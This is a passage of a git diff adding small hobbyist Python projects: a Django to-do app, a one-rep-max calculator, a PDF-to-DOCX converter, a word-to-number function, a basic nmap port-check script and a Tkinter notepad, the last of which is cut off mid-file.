b/nitkarshchourasia/to_sort/JARVIS_python_bot/requirements.txt new file mode 100644 index 00000000000..72d21dc0311 --- /dev/null +++ b/nitkarshchourasia/to_sort/JARVIS_python_bot/requirements.txt @@ -0,0 +1,15 @@ +datetime +pyjokes +requests +Pillow +Image +ImageGrab +gTTS +keyboard +key +playsound +pyttsx3 +SpeechRecognition +openai +pynput +pyaudio diff --git a/nitkarshchourasia/to_sort/determine_sign.py b/nitkarshchourasia/to_sort/determine_sign.py new file mode 100644 index 00000000000..0bca22148a3 --- /dev/null +++ b/nitkarshchourasia/to_sort/determine_sign.py @@ -0,0 +1,60 @@ +from word2number import w2n + +# ? word2number then w2n then .word_to_num? So, library(bunch of modules) then module then method(function)???! +# return w2n.word_to_num(input_value) + + +# TODO: Instead of rounding at the destination, round at the source. +# Reason: As per the program need, I don't want a functionality to round or not round the number, based on the requirement, I always want to round the number. +#! Will see it tomorrow. + + +class DetermineSign: + def __init__(self, num=None): + if num is None: + self.get_number() + else: + self.num = round(self.convert_to_float(num), 1) + + # TODO: Word2number + + # Need to further understand this. + # ? NEED TO UNDERSTAND THIS. FOR SURETY. + def convert_to_float(self, input_value): + try: + return float(input_value) + except ValueError: + try: + return w2n.word_to_num(input_value) + except ValueError: + raise ValueError( + "Invalid input. Please enter a number or a word representing a number." + ) + + # Now use this in other methods. + + def get_number(self): + self.input_value = format(float(input("Enter a number: ")), ".1f") + self.num = round(self.convert_to_float(self.input_value), 1) + return self.num + # Do I want to return the self.num? + # I think I have to just store it as it is. + + def determine_sign(self): + if self.num > 0: + return "Positive number" + elif self.num < 0: + return "Negative number" + else: + return "Zero" + + def __repr__(self): + return f"Number: {self.num}, Sign: {self.determine_sign()}" + + +if __name__ == "__main__": + number1 = DetermineSign() + print(number1.determine_sign()) + + +# !Incomplete. diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/ToDo_webapp_Screenshot_demo.png b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/ToDo_webapp_Screenshot_demo.png new file mode 100644 index 00000000000..699c362b46a Binary files /dev/null and b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/ToDo_webapp_Screenshot_demo.png differ diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/db.sqlite3 b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/db.sqlite3 new file mode 100644 index 00000000000..8cfe025a904 Binary files /dev/null and b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/db.sqlite3 differ diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/manage.py b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/manage.py new file mode 100644 index 00000000000..d456ef2cbd1 --- /dev/null +++ b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/manage.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python +"""Django's command-line utility for administrative tasks.""" + +import os +import sys + + +def main(): + """Run administrative tasks.""" + os.environ.setdefault("DJANGO_SETTINGS_MODULE", "todo_site.settings") + try: + from django.core.management import execute_from_command_line + except ImportError as exc: + raise ImportError( + "Couldn't import Django. Are you sure it's installed and " + "available on your PYTHONPATH environment variable? Did you " + "forget to activate a virtual environment?" + ) from exc + execute_from_command_line(sys.argv) + + +if __name__ == "__main__": + main() diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/__init__.py b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/admin.py b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/admin.py new file mode 100644 index 00000000000..bc4a2a3d232 --- /dev/null +++ b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/admin.py @@ -0,0 +1,6 @@ +from django.contrib import admin +from .models import Todo + +# Register your models here. + +admin.site.register(Todo) diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/apps.py b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/apps.py new file mode 100644 index 00000000000..c6fe8a1a75d --- /dev/null +++ b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/apps.py @@ -0,0 +1,6 @@ +from django.apps import AppConfig + + +class TodoConfig(AppConfig): + default_auto_field = "django.db.models.BigAutoField" + name = "todo" diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/forms.py b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/forms.py new file mode 100644 index 00000000000..11fda28ba07 --- /dev/null +++ b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/forms.py @@ -0,0 +1,8 @@ +from django import forms +from .models import Todo + + +class TodoForm(forms.ModelForm): + class Meta: + model = Todo + fields = "__all__" diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/migrations/0001_initial.py b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/migrations/0001_initial.py new file mode 100644 index 00000000000..71ce3e8d531 --- /dev/null +++ b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/migrations/0001_initial.py @@ -0,0 +1,30 @@ +# Generated by Django 4.2.5 on 2023-09-30 16:11 + +from django.db import migrations, models +import django.utils.timezone + + +class Migration(migrations.Migration): + initial = True + + dependencies = [] + + operations = [ + migrations.CreateModel( + name="Todo", + fields=[ + ( + "id", + models.BigAutoField( + auto_created=True, + primary_key=True, + serialize=False, + verbose_name="ID", + ), + ), + ("title", models.CharField(max_length=100)), + ("details", models.TextField()), + ("date", models.DateTimeField(default=django.utils.timezone.now)), + ], + ), + ] diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/migrations/__init__.py b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/migrations/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/models.py b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/models.py new file mode 100644 index 00000000000..6e2bc6831de --- /dev/null +++ b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/models.py @@ -0,0 +1,13 @@ +from django.db import models +from django.utils import timezone + +# Create your models here. + + +class Todo(models.Model): + title = models.CharField(max_length=100) + details = models.TextField() + date = models.DateTimeField(default=timezone.now) + + def __str__(self) -> str: + return self.title diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/templates/todo/index.html b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/templates/todo/index.html new file mode 100644 index 00000000000..fa77155bcea --- /dev/null +++ b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/templates/todo/index.html @@ -0,0 +1,95 @@ + + + + + + + {{title}} + + + + + + + + + + + + {% if messages %} + {% for message in messages %} +
+ {{message}} +
+ {% endfor %} + {% endif %} + +
+

__TODO LIST__

+
+
+ +
+ +
+ + {% for i in list %} +
+
{{i.title}}
+
+ {{i.date}} +
+ {{i.details}} +
+
+
+ {% csrf_token %} + +
+
+ {% endfor%} +
+
+
+
+
+ {% csrf_token %} + {{forms}} +
+ +
+
+
+
+
+ + + \ No newline at end of file diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/tests.py b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/tests.py new file mode 100644 index 00000000000..a39b155ac3e --- /dev/null +++ b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/tests.py @@ -0,0 +1 @@ +# Create your tests here. diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/views.py b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/views.py new file mode 100644 index 00000000000..f6453e063be --- /dev/null +++ b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/views.py @@ -0,0 +1,36 @@ +from django.shortcuts import render, redirect +from django.contrib import messages + +# Create your views here. + +# Import todo form and models + +from .forms import TodoForm +from .models import Todo + + +def index(request): + item_list = Todo.objects.order_by("-date") + if request.method == "POST": + form = TodoForm(request.POST) + if form.is_valid(): + form.save() + return redirect("todo") + form = TodoForm() + + page = { + "forms": form, + "list": item_list, + "title": "TODO LIST", + } + + return render(request, "todo/index.html", page) + + ### Function to remove item, it receives todo item_id as primary key from url ## + + +def remove(request, item_id): + item = Todo.objects.get(id=item_id) + item.delete() + messages.info(request, "item removed !!!") + return redirect("todo") diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo_site/__init__.py b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo_site/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo_site/asgi.py b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo_site/asgi.py new file mode 100644 index 00000000000..dde18f50c17 --- /dev/null +++ b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo_site/asgi.py @@ -0,0 +1,16 @@ +""" +ASGI config for todo_site project. + +It exposes the ASGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.2/howto/deployment/asgi/ +""" + +import os + +from django.core.asgi import get_asgi_application + +os.environ.setdefault("DJANGO_SETTINGS_MODULE", "todo_site.settings") + +application = get_asgi_application() diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo_site/settings.py b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo_site/settings.py new file mode 100644 index 00000000000..12e70bf4571 --- /dev/null +++ b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo_site/settings.py @@ -0,0 +1,124 @@ +""" +Django settings for todo_site project. + +Generated by 'django-admin startproject' using Django 4.2.5. + +For more information on this file, see +https://docs.djangoproject.com/en/4.2/topics/settings/ + +For the full list of settings and their values, see +https://docs.djangoproject.com/en/4.2/ref/settings/ +""" + +from pathlib import Path + +# Build paths inside the project like this: BASE_DIR / 'subdir'. +BASE_DIR = Path(__file__).resolve().parent.parent + + +# Quick-start development settings - unsuitable for production +# See https://docs.djangoproject.com/en/4.2/howto/deployment/checklist/ + +# SECURITY WARNING: keep the secret key used in production secret! +SECRET_KEY = "django-insecure-5xdo&zrjq^i)0^g9v@_2e_r6+-!02807i$1pjhcm=19m7yufbz" + +# SECURITY WARNING: don't run with debug turned on in production! +DEBUG = True + +ALLOWED_HOSTS = [] + + +# Application definition + +INSTALLED_APPS = [ + "todo", + "django.contrib.admin", + "django.contrib.auth", + "django.contrib.contenttypes", + "django.contrib.sessions", + "django.contrib.messages", + "django.contrib.staticfiles", +] + +MIDDLEWARE = [ + "django.middleware.security.SecurityMiddleware", + "django.contrib.sessions.middleware.SessionMiddleware", + "django.middleware.common.CommonMiddleware", + "django.middleware.csrf.CsrfViewMiddleware", + "django.contrib.auth.middleware.AuthenticationMiddleware", + "django.contrib.messages.middleware.MessageMiddleware", + "django.middleware.clickjacking.XFrameOptionsMiddleware", +] + +ROOT_URLCONF = "todo_site.urls" + +TEMPLATES = [ + { + "BACKEND": "django.template.backends.django.DjangoTemplates", + "DIRS": [], + "APP_DIRS": True, + "OPTIONS": { + "context_processors": [ + "django.template.context_processors.debug", + "django.template.context_processors.request", + "django.contrib.auth.context_processors.auth", + "django.contrib.messages.context_processors.messages", + ], + }, + }, +] + +WSGI_APPLICATION = "todo_site.wsgi.application" + + +# Database +# https://docs.djangoproject.com/en/4.2/ref/settings/#databases + +DATABASES = { + "default": { + "ENGINE": "django.db.backends.sqlite3", + "NAME": BASE_DIR / "db.sqlite3", + } +} + + +# Password validation +# https://docs.djangoproject.com/en/4.2/ref/settings/#auth-password-validators + +AUTH_PASSWORD_VALIDATORS = [ + { + "NAME": "django.contrib.auth.password_validation.UserAttributeSimilarityValidator", + }, + { + "NAME": "django.contrib.auth.password_validation.MinimumLengthValidator", + }, + { + "NAME": "django.contrib.auth.password_validation.CommonPasswordValidator", + }, + { + "NAME": "django.contrib.auth.password_validation.NumericPasswordValidator", + }, +] + + +# Internationalization +# https://docs.djangoproject.com/en/4.2/topics/i18n/ + +LANGUAGE_CODE = "en-us" + +TIME_ZONE = "UTC" + +USE_I18N = True + +USE_TZ = True + + +# Static files (CSS, JavaScript, Images) +# https://docs.djangoproject.com/en/4.2/howto/static-files/ + +STATIC_URL = "static/" + +# Default primary key field type +# https://docs.djangoproject.com/en/4.2/ref/settings/#default-auto-field + +DEFAULT_AUTO_FIELD = "django.db.models.BigAutoField" diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo_site/urls.py b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo_site/urls.py new file mode 100644 index 00000000000..1c0e6458be6 --- /dev/null +++ b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo_site/urls.py @@ -0,0 +1,26 @@ +""" +URL configuration for todo_site project. + +The `urlpatterns` list routes URLs to views. For more information please see: + https://docs.djangoproject.com/en/4.2/topics/http/urls/ +Examples: +Function views + 1. Add an import: from my_app import views + 2. Add a URL to urlpatterns: path('', views.home, name='home') +Class-based views + 1. Add an import: from other_app.views import Home + 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') +Including another URLconf + 1. Import the include() function: from django.urls import include, path + 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) +""" + +from django.contrib import admin +from django.urls import path +from todo import views + +urlpatterns = [ + path("", views.index, name="todo"), + path("del/", views.remove, name="del"), + path("admin/", admin.site.urls), +] diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo_site/wsgi.py b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo_site/wsgi.py new file mode 100644 index 00000000000..5b71d7ed7a9 --- /dev/null +++ b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo_site/wsgi.py @@ -0,0 +1,16 @@ +""" +WSGI config for todo_site project. + +It exposes the WSGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.2/howto/deployment/wsgi/ +""" + +import os + +from django.core.wsgi import get_wsgi_application + +os.environ.setdefault("DJANGO_SETTINGS_MODULE", "todo_site.settings") + +application = get_wsgi_application() diff --git a/nitkarshchourasia/to_sort/one_rep_max_calculator/README.md b/nitkarshchourasia/to_sort/one_rep_max_calculator/README.md new file mode 100644 index 00000000000..78aa7469f74 --- /dev/null +++ b/nitkarshchourasia/to_sort/one_rep_max_calculator/README.md @@ -0,0 +1,25 @@ +# One-Rep Max Calculator + +This repository contains two Python programs that can calculate the estimated one-repetition maximum (1RM) for a weightlifting exercise. The 1RM is the maximum amount of weight that you can lift for one rep. It is useful for tracking your strength progress and planning your training. + +## Command-line version + +The file `one_rep_max_calculator.py` is a command-line version of the 1RM calculator. It prompts the user to enter the weight lifted and the number of reps performed, and then calculates and displays the estimated 1RM based on the *Epley formula*. + +To run this program, you need Python 3 installed on your system. You can execute the program by typing `python one_rep_max_calculator.py` in your terminal. + +## Graphical user interface version + +The file `one_rep_max_calculator_gui.py` is a graphical user interface version of the 1RM calculator. It uses Tkinter to create a window with entry fields, labels, and a button. The user can input the weight lifted and the number of reps performed, and then click the calculate button to see the estimated 1RM based on the Epley formula. + +To run this program, you need Python 3 and Tkinter installed on your system. You can execute the program by typing `python one_rep_max_calculator_gui.py` in your terminal. + +## References + +- Epley, B. Poundage chart. In: Boyd Epley Workout. Lincoln, NE: Body Enterprises, 1985. p. 23. +- https://en.wikipedia.org/wiki/One-repetition_maximum +- https://www.topendsports.com/testing/calculators/1repmax.htm + + + + \ No newline at end of file diff --git a/nitkarshchourasia/to_sort/one_rep_max_calculator/one_rep_max_calculator.py b/nitkarshchourasia/to_sort/one_rep_max_calculator/one_rep_max_calculator.py new file mode 100644 index 00000000000..fdf8460fe79 --- /dev/null +++ b/nitkarshchourasia/to_sort/one_rep_max_calculator/one_rep_max_calculator.py @@ -0,0 +1,45 @@ +class OneRepMaxCalculator: + """ + A class to calculate the one-repetition maximum (1RM) for a weightlifting exercise. + """ + + def __init__(self): + """ + Initializes the OneRepMaxCalculator with default values. + """ + self.weight_lifted = 0 + self.reps_performed = 0 + + def get_user_input(self): + """ + Prompts the user to enter the weight lifted and the number of reps performed. + """ + self.weight_lifted = int(input("Enter the weight you lifted (in kg): ")) + self.reps_performed = int(input("Enter the number of reps you performed: ")) + + def calculate_one_rep_max(self): + """ + Calculates the one-rep max based on the Epley formula. + """ + return (self.weight_lifted * self.reps_performed * 0.0333) + self.weight_lifted + + def display_one_rep_max(self): + """ + Displays the calculated one-rep max. + """ + one_rep_max = self.calculate_one_rep_max() + print(f"Your estimated one-rep max (1RM) is: {one_rep_max} kg") + + +def main(): + """ + The main function that creates an instance of OneRepMaxCalculator and uses it to get user input, + calculate the one-rep max, and display the result. + """ + calculator = OneRepMaxCalculator() + calculator.get_user_input() + calculator.display_one_rep_max() + + +if __name__ == "__main__": + main() diff --git a/nitkarshchourasia/to_sort/one_rep_max_calculator/one_rep_max_calculator_gui.py b/nitkarshchourasia/to_sort/one_rep_max_calculator/one_rep_max_calculator_gui.py new file mode 100644 index 00000000000..7189401b2e5 --- /dev/null +++ b/nitkarshchourasia/to_sort/one_rep_max_calculator/one_rep_max_calculator_gui.py @@ -0,0 +1,75 @@ +import tkinter as tk + + +class OneRepMaxCalculator: + """ + A class used to calculate the estimated one-repetition maximum (1RM) for a weightlifting exercise. + + Attributes + ---------- + window : tk.Tk + The main window of the application. + weight_entry : tk.Entry + Entry field to input the weight lifted. + rep_entry : tk.Entry + Entry field to input the number of reps performed. + result_value_label : tk.Label + Label to display the calculated 1RM. + + Methods + ------- + calculate_1rm(): + Calculates the estimated 1RM based on the Epley formula. + display_result(): + Displays the calculated 1RM in the application window. + run(): + Runs the application. + """ + + def __init__(self): + """Initializes the OneRepMaxCalculator with a window and widgets.""" + self.window = tk.Tk() + self.window.title("One-Rep Max Calculator") + self.window.geometry("300x150") + + # Create and pack widgets + tk.Label(self.window, text="Enter the weight you lifted (in kg):").pack() + self.weight_entry = tk.Entry(self.window) + self.weight_entry.pack() + + tk.Label(self.window, text="Enter the number of reps you performed:").pack() + self.rep_entry = tk.Entry(self.window) + self.rep_entry.pack() + + tk.Button(self.window, text="Calculate", command=self.display_result).pack() + + tk.Label(self.window, text="Your estimated one-rep max (1RM):").pack() + self.result_value_label = tk.Label(self.window) + self.result_value_label.pack() + + def calculate_1rm(self): + """Calculates and returns the estimated 1RM.""" + weight = int(self.weight_entry.get()) + reps = int(self.rep_entry.get()) + return (weight * reps * 0.0333) + weight + + def display_result(self): + """Calculates the 1RM and updates result_value_label with it.""" + one_rep_max = self.calculate_1rm() + self.result_value_label.config(text=f"{one_rep_max} kg") + + def run(self): + """Runs the Tkinter event loop.""" + self.window.mainloop() + + +# Usage +if __name__ == "__main__": + calculator = OneRepMaxCalculator() + calculator.run() + +# Improve the program. +# Make the fonts, bigger. +# - Use text formatting... +# Use dark mode. +# Have an option to use dark mode and light mode. diff --git a/nitkarshchourasia/to_sort/pdf_to_docx_converter/pdf_to_docx.py b/nitkarshchourasia/to_sort/pdf_to_docx_converter/pdf_to_docx.py new file mode 100644 index 00000000000..757eccae6ca --- /dev/null +++ b/nitkarshchourasia/to_sort/pdf_to_docx_converter/pdf_to_docx.py @@ -0,0 +1,107 @@ +# pip install pdf2docx +# Import the required modules +from pdf2docx import Converter + + +def convert_pdf_to_docx(pdf_file_path, docx_file_path): + """ + Converts a PDF file to a DOCX file using pdf2docx library. + + Parameters: + - pdf_file_path (str): The path to the input PDF file. + - docx_file_path (str): The desired path for the output DOCX file. + + Returns: + None + """ + # Convert PDF to DOCX using pdf2docx library + + # Using the built-in function, convert the PDF file to a document file by saving it in a variable. + cv = Converter(pdf_file_path) + + # Storing the Document in the variable's initialised path + cv.convert(docx_file_path) + + # Conversion closure through the function close() + cv.close() + + +# Example usage + +# Keeping the PDF's location in a separate variable +# pdf_file_path = r"D:\coding\CODE_WAR\blogs\python_tuts\book_on_python.pdf" +# # Maintaining the Document's path in a separate variable +# docx_file_path = r"D:\coding\CODE_WAR\blogs\python_tuts\book_on_python_edit.docx" + +# Keeping the PDF's location in a separate variable +pdf_file_path = ( + r"C:\Users\playn\OneDrive\Desktop\read_kar_ke_feedback_le_aur_del_kar_de.pdf" +) +# Maintaining the Document's path in a separate variable +docx_file_path = ( + r"C:\Users\playn\OneDrive\Desktop\read_kar_ke_feedback_le_aur_del_kar_de.docx" +) + +# Call the function to convert PDF to DOCX +convert_pdf_to_docx(pdf_file_path, docx_file_path) + +# # Error handling +# # IF present then ask for permission else continue + + +# import fitz +# from docx import Document +# import pytesseract +# from PIL import Image + + +# class PDFToDocxConverter: +# """ +# A class to convert PDF to DOCX with OCR using PyMuPDF, pytesseract, and python-docx. +# """ + +# def __init__(self, pdf_path, docx_path): +# """ +# Initializes the PDFToDocxConverter. + +# Parameters: +# - pdf_path (str): The path to the input PDF file. +# - docx_path (str): The desired path for the output DOCX file. +# """ +# self.pdf_path = pdf_path +# self.docx_path = docx_path + +# def convert_pdf_to_docx(self): +# """ +# Converts the PDF to DOCX with OCR and saves the result. +# """ +# doc = Document() + +# with fitz.open(self.pdf_path) as pdf: +# for page_num in range(pdf.page_count): +# page = pdf[page_num] +# image_list = page.get_images(full=True) + +# for img_index, img_info in enumerate(image_list): +# img = page.get_pixmap(image_index=img_index) +# img_path = f"temp_image_{img_index}.png" +# img.writePNG(img_path) + +# text = pytesseract.image_to_string(Image.open(img_path)) +# doc.add_paragraph(text) + +# doc.save(self.docx_path) + + +# if __name__ == "__main__": +# # Example usage +# # Keeping the PDF's location in a separate variable +# pdf_file_path = r"D:\coding\CODE_WAR\blogs\python_tuts\book_on_python.pdf" +# # Maintaining the Document's path in a separate variable +# docx_file_path = r"D:\coding\CODE_WAR\blogs\python_tuts\book_on_python_edit.docx" + +# converter = PDFToDocxConverter(pdf_file_path, docx_file_path) +# # converter.convert_pdf_to_docx() + + +# # failed experiment. diff --git a/nitkarshchourasia/to_sort/pdf_to_docx_converter/requirements.txt b/nitkarshchourasia/to_sort/pdf_to_docx_converter/requirements.txt new file mode 100644 index 00000000000..74006b5fb0a --- /dev/null +++ b/nitkarshchourasia/to_sort/pdf_to_docx_converter/requirements.txt @@ -0,0 +1,4 @@ +python-docx==0.8.11 +PyMuPDF==1.18.17 +pytesseract==0.3.8 +Pillow==8.4.0 \ No newline at end of file diff --git a/nitkarshchourasia/to_sort/word2number/word2number.py b/nitkarshchourasia/to_sort/word2number/word2number.py new file mode 100644 index 00000000000..6e8fed09d39 --- /dev/null +++ b/nitkarshchourasia/to_sort/word2number/word2number.py @@ -0,0 +1,83 @@ +def word_to_number(word): + numbers_dict = { + "zero": 0, + "one": 1, + "two": 2, + "three": 3, + "four": 4, + "five": 5, + "six": 6, + "seven": 7, + "eight": 8, + "nine": 9, + "ten": 10, + "eleven": 11, + "twelve": 12, + "thirteen": 13, + "fourteen": 14, + "fifteen": 15, + "sixteen": 16, + "seventeen": 17, + "eighteen": 18, + "nineteen": 19, + "twenty": 20, + "thirty": 30, + "forty": 40, + "fifty": 50, + "sixty": 60, + "seventy": 70, + "eighty": 80, + "ninety": 90, + "hundred": 100, + "thousand": 1000, + "lakh": 100000, + "crore": 10000000, + "billion": 1000000000, + "trillion": 1000000000000, + } + + # Split the string into words + words = word.split() + + result = 0 + current_number = 0 + + # Ways I can make this more efficient: + for w in words: + if w in numbers_dict: + current_number += numbers_dict[w] + elif w == "hundred": + current_number *= 100 + elif w == "thousand": + result += current_number * 1000 + current_number = 0 + elif w == "lakh": + result += current_number * 100000 + current_number = 0 + elif w == "crore": + result += current_number * 10000000 + current_number = 0 + elif w == "billion": + result += current_number * 1000000000 + current_number = 0 + elif w == "trillion": + result += current_number * 1000000000000 + current_number = 0 + + result += current_number + + return result + + +# Example usage: +number_str = "two trillion seven billion fifty crore thirty-four lakh seven thousand nine hundred" +result = word_to_number(number_str) +print(result) + + +# Will make a tkinter application out of it. +## It will have a slider to use the more efficient way or just the normal way. +## More efficient way would have a library word2num to choose from. + +# The application would be good. +# I want to make it more efficient and optimized. diff --git a/nmap_scan.py b/nmap_scan.py index 872689447c0..72f4b078e96 100644 --- a/nmap_scan.py +++ b/nmap_scan.py @@ -1,36 +1,43 @@ +from __future__ import print_function + +import optparse # Import the module + +import nmap # Import the module + + # Script Name : nmap_scan.py # Author : Craig Richards # Created : 24th May 2013 -# Last Modified : +# Last Modified : # Version : 1.0 +# Modifications : +# Description : This scans my scripts directory and gives a count of the different types of scripts, you need nmap installed to run this -# Modifications : -# Description : This scans my scripts directory and gives a count of the different types of scripts, you need nmap installed to run this +def nmapScan(tgtHost, tgtPort): # Create the function, this fucntion does the scanning + nmScan = nmap.PortScanner() + nmScan.scan(tgtHost, tgtPort) + state = nmScan[tgtHost]["tcp"][int(tgtPort)]["state"] + print("[*] " + tgtHost + " tcp/" + tgtPort + " " + state) + + +def main(): # Main Program + parser = optparse.OptionParser( + "usage%prog " + "-H -p " + ) # Display options/help if required + parser.add_option("-H", dest="tgtHost", type="string", help="specify host") + parser.add_option("-p", dest="tgtPort", type="string", help="port") + (options, args) = parser.parse_args() + tgtHost = options.tgtHost + tgtPorts = str(options.tgtPort).split(",") + + if (tgtHost == None) | (tgtPorts[0] == None): + print(parser.usage) + exit(0) + + for tgtPort in tgtPorts: # Scan the hosts with the ports etc + nmapScan(tgtHost, tgtPort) + -import nmap # Import the module -import optparse # Import the module - -def nmapScan(tgtHost, tgtPort): # Create the function, this fucntion does the scanning - nmScan = nmap.PortScanner() - nmScan.scan(tgtHost, tgtPort) - state = nmScan[tgtHost]['tcp'][int(tgtPort)]['state'] - print "[*] " + tgtHost + " tcp/"+tgtPort +" "+state - -def main(): # Main Program - parser = optparse.OptionParser('usage%prog ' + '-H -p ') # Display options/help if required - parser.add_option('-H', dest='tgtHost', type='string', help='specify host') - parser.add_option('-p', dest='tgtPort', type='string', help='port') - (options, args) = parser.parse_args() - tgtHost = options.tgtHost - tgtPorts = str(options.tgtPort).split(',') - - if (tgtHost == None) | (tgtPorts[0] == None): - print parser.usage - exit(0) - - for tgtPort in tgtPorts: # Scan the hosts with the ports etc - nmapScan(tgtHost, tgtPort) - -if __name__ == '__main__': - main() \ No newline at end of file +if __name__ == "__main__": + main() diff --git a/nodepad/README.md b/nodepad/README.md new file mode 100644 index 00000000000..e3fd99dfb97 --- /dev/null +++ b/nodepad/README.md @@ -0,0 +1,26 @@ +# Simple note managment + +This app is a simple note managment (notepad). You can write notes and save it with a title. In addition you can pull previous notes back. +The app is writen in **python 2** and uses [Tkinter](https://docs.python.org/2/library/tkinter.html) as gui-library. Furthermore the UI was created with the gui-builder [PAGE](http://page.sourceforge.net/). The app uses the [Sqlite](https://www.sqlite.org/) database for managing the notes. + +### Dependencies + +* Python 2 (2.7) +* Tkinter + + +### Start the app + +You start the app with ```python notepad.py``` in the console or under Windows you double-click on ```notepad.py``` . +You can also use the executables in the **bin** directory. + +**Important:** You needed the file ```notepad_support.py``` ! + +### Usage + +First of all you must click on the **tab Create** then on the button **Create** for creating a new note management. +You add new notes over the tab Add and displays the notes over the tab display. In the display-tab you must type the title or a keyword of the note that you will find. + +### How it looks like? + +![screenshot of the app](img/screenshot.png "") diff --git a/nodepad/bin/notepad.pyc b/nodepad/bin/notepad.pyc new file mode 100644 index 00000000000..c827cddb704 Binary files /dev/null and b/nodepad/bin/notepad.pyc differ diff --git a/nodepad/bin/notepad_support.pyc b/nodepad/bin/notepad_support.pyc new file mode 100644 index 00000000000..2c4bff06191 Binary files /dev/null and b/nodepad/bin/notepad_support.pyc differ diff --git a/nodepad/img/screenshot.png b/nodepad/img/screenshot.png new file mode 100644 index 00000000000..04ddad1ee4d Binary files /dev/null and b/nodepad/img/screenshot.png differ diff --git a/nodepad/notepad.py b/nodepad/notepad.py new file mode 100644 index 00000000000..356316e3d9e --- /dev/null +++ b/nodepad/notepad.py @@ -0,0 +1,213 @@ +#! /usr/bin/env python +# +# GUI module generated by PAGE version 4.10 +# In conjunction with Tcl version 8.6 +# Jan 30, 2018 02:49:06 PM + +try: + from Tkinter import * +except ImportError: + from tkinter import * + +try: + import ttk + + py3 = 0 +except ImportError: + import tkinter.ttk as ttk + + py3 = 1 + +import notepad_support + + +def vp_start_gui(): + """Starting point when module is the main routine.""" + global val, w, root + root = Tk() + root.resizable(False, False) + top = Notepads_managment(root) + notepad_support.init(root, top) + root.mainloop() + + +w = None + + +def create_Notepads_managment(root, *args, **kwargs): + """Starting point when module is imported by another program.""" + global w, w_win, rt + rt = root + w = Toplevel(root) + top = Notepads_managment(w) + notepad_support.init(w, top, *args, **kwargs) + return (w, top) + + +def destroy_Notepads_managment(): + global w + w.destroy() + w = None + + +class Notepads_managment: + def __init__(self, top=None): + """This class configures and populates the toplevel window. + top is the toplevel containing window.""" + _bgcolor = "#d9d9d9" # X11 color: 'gray85' + _fgcolor = "#000000" # X11 color: 'black' + _compcolor = "#d9d9d9" # X11 color: 'gray85' + _ana1color = "#d9d9d9" # X11 color: 'gray85' + _ana2color = "#d9d9d9" # X11 color: 'gray85' + self.style = ttk.Style() + if sys.platform == "win32": + self.style.theme_use("winnative") + self.style.configure(".", background=_bgcolor) + self.style.configure(".", foreground=_fgcolor) + self.style.configure(".", font="TkDefaultFont") + self.style.map( + ".", background=[("selected", _compcolor), ("active", _ana2color)] + ) + + top.geometry("600x450") + top.title("Notepads managment") + top.configure(highlightcolor="black") + + self.style.configure("TNotebook.Tab", background=_bgcolor) + self.style.configure("TNotebook.Tab", foreground=_fgcolor) + self.style.map( + "TNotebook.Tab", + background=[("selected", _compcolor), ("active", _ana2color)], + ) + self.TNotebook1 = ttk.Notebook(top) + self.TNotebook1.place(relx=0.02, rely=0.02, relheight=0.85, 